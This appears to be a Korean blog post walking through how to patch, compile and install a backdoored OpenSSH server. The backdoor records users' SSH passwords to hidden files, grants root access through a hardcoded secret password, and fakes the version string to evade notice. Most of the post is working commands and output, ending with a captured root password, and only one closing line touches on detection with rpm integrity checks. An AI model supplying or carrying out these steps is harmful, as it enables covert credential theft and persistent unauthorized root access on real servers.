SSH 서버 후문을 통한 비밀번호 정보 유출 메커니즘 분석

서버에 후문이 삽입된 수정된 sshd 서비스를 설치하면, 사용자가 접속할 때 비밀번호를 실시간으로 기록하고 외부 이메일로 전송하는 방식으로 데이터가 탈취된다.
  1. 실험 환경 설정
    CentOS 6.2 운영체제를 기반으로 하며, 기본적으로 설치된 sshdgcc 버전을 확인한다.
    [root@CentOS6 ~]# uname -a
    Linux CentOS6.2 2.6.32-220.el6.x86_64 #1 SMP Tue Dec 6 19:48:22 GMT 2011 x86_64 x86_64 x86_64 GNU/Linux
    [root@CentOS6 ~]# ssh -V
    OpenSSH_5.3p1, OpenSSL 1.0.0-fips 29 Mar 2010
    [root@CentOS6 ~]# gcc -V
    -bash: gcc: command not found
    [root@CentOS6 ~]# yum -y install gcc
    [root@CentOS6 ~]# gcc -v
    사용 내장 specs.
    목표: x86_64-redhat-linux
    구성: ../configure --prefix=/usr --mandir=/usr/share/man --infodir=/usr/share/info --with-bugurl=http://bugzilla.redhat.com/bugzilla --enable-bootstrap --enable-shared --enable-threads=posix --enable-checking=release --with-system-zlib --enable-__cxa_atexit --disable-libunwind-exceptions --enable-gnu-unique-object --enable-languages=c,c++,objc,obj-c++,java,fortran,ada --enable-java-awt=gtk --disable-dssi --with-java-home=/usr/lib/jvm/java-1.5.0-gcj-1.5.0.0/jre --enable-libgcj-multifile --enable-java-maintainer-mode --with-ecj-jar=/usr/share/java/eclipse-ecj.jar --disable-libjava-multilib --with-ppl --with-cloog --with-tune=generic --with-arch_32=i686 --build=x86_64-redhat-linux
    스레드 모델: posix
    gcc 버전 4.4.7 20120313 (Red Hat 4.4.7-23) (GCC)
  2. 후문 패치 적용 및 설치
    원본 소스 코드에 후문 패치를 적용하여 정상적인 인증 과정에서 비밀번호를 캡처하도록 수정한다.
    [root@CentOS6 ~]# tar zxf openssh-5.9p1.tar.gz
    [root@CentOS6 ~]# tar zxf 0x06-openssh-5.9p1.patch.tar.gz
    [root@CentOS6 ~]# cp openssh-5.9p1.patch/sshbd5.9p1.diff openssh-5.9p1/
    [root@CentOS6 ~]# cd openssh-5.9p1
    [root@CentOS6 openssh-5.9p1]# patch < sshbd5.9p1.diff
    patching file auth.c
    patching file auth-pam.c
    patching file auth-passwd.c
    patching file canohost.c
    patching file includes.h
    patching file log.c
    patching file servconf.c
    patching file sshconnect2.c
    patching file sshlogin.c
    patching file version.h

    기록 파일 경로와 후문 암호를 설정한다.

    // includes.h 수정 (라인 177~179)
    #define ILOG "/usr/share/ifile"         // 로컬 로그인 정보 저장
    #define OLOG "/usr/share/ofile"         // 원격 연결 정보 저장
    #define SECRETPW "testpassword"         // 관리자 접근용 후문 비밀번호

    버전 문자열을 원래 값과 일치시키기 위해 version.h 수정.

    // version.h 수정
    #define SSH_VERSION     "OpenSSH_5.3"

    의존성 패키지 설치 및 컴파일

    [root@CentOS6 openssh-5.9p1]# yum install -y openssl openssl-devel pam-devel zlib zlib-devel
    [root@CentOS6 openssh-5.9p1]# ./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5
    [root@CentOS6 openssh-5.9p1]# make && make install
    [root@CentOS6 openssh-5.9p1]# echo $?
    0

    설치 후 파일 무결성 검사로 변경 여부 확인.

    [root@CentOS6 openssh-5.9p1]# rpm -Vf /usr/bin/ssh
    S.5....T. /usr/bin/scp
    S.5....T. /usr/bin/sftp
    S.5....T. /usr/bin/ssh
    S.5....T. /usr/bin/ssh-add
    SM5...GT. /usr/bin/ssh-agent
    S.5....T. /usr/bin/ssh-keyscan

    서비스 재시작

    [root@CentOS6 openssh-5.9p1]# service sshd restart
    정지 중: [확인]
    시작 중: [확인]
  3. 기능 테스트

    기록 파일 초기 상태 확인.

    [root@CentOS6 openssh-5.9p1]# cat /usr/share/ofile
    cat: /usr/share/ofile: 그런 파일이나 디렉터리가 없습니다

    원격 시스템에 연결 시도.

    [root@CentOS6 ~]# ssh 192.168.5.101
    root@192.168.5.101's password:
    Last login: Tue Sep 3 13:25:59 2019 from 192.168.5.1
    [root@youxi1 ~]# exit
    로그 아웃
    연결 종료: 192.168.5.101

    접속 후 로그 파일 내용 확인.

    [root@CentOS6 ~]# cat /usr/share/ofile
    user:password@host --> root:123456@192.168.5.101

    또한, 후문 비밀번호 testpassword로 직접 root 계정에 접속 가능.

  4. 감지 및 대응 방법

    rpm -Vf /usr/bin/ssh 명령어로 파일의 해시값과 권한을 비교하여 변조 여부를 판단할 수 있다. 이상 징후 발견 시 즉시 보안 조치 필요.

태그: OpenSSH 후문 보안 취약점 파일 무결성 암호 유출

7월 14일 17:31에 게시됨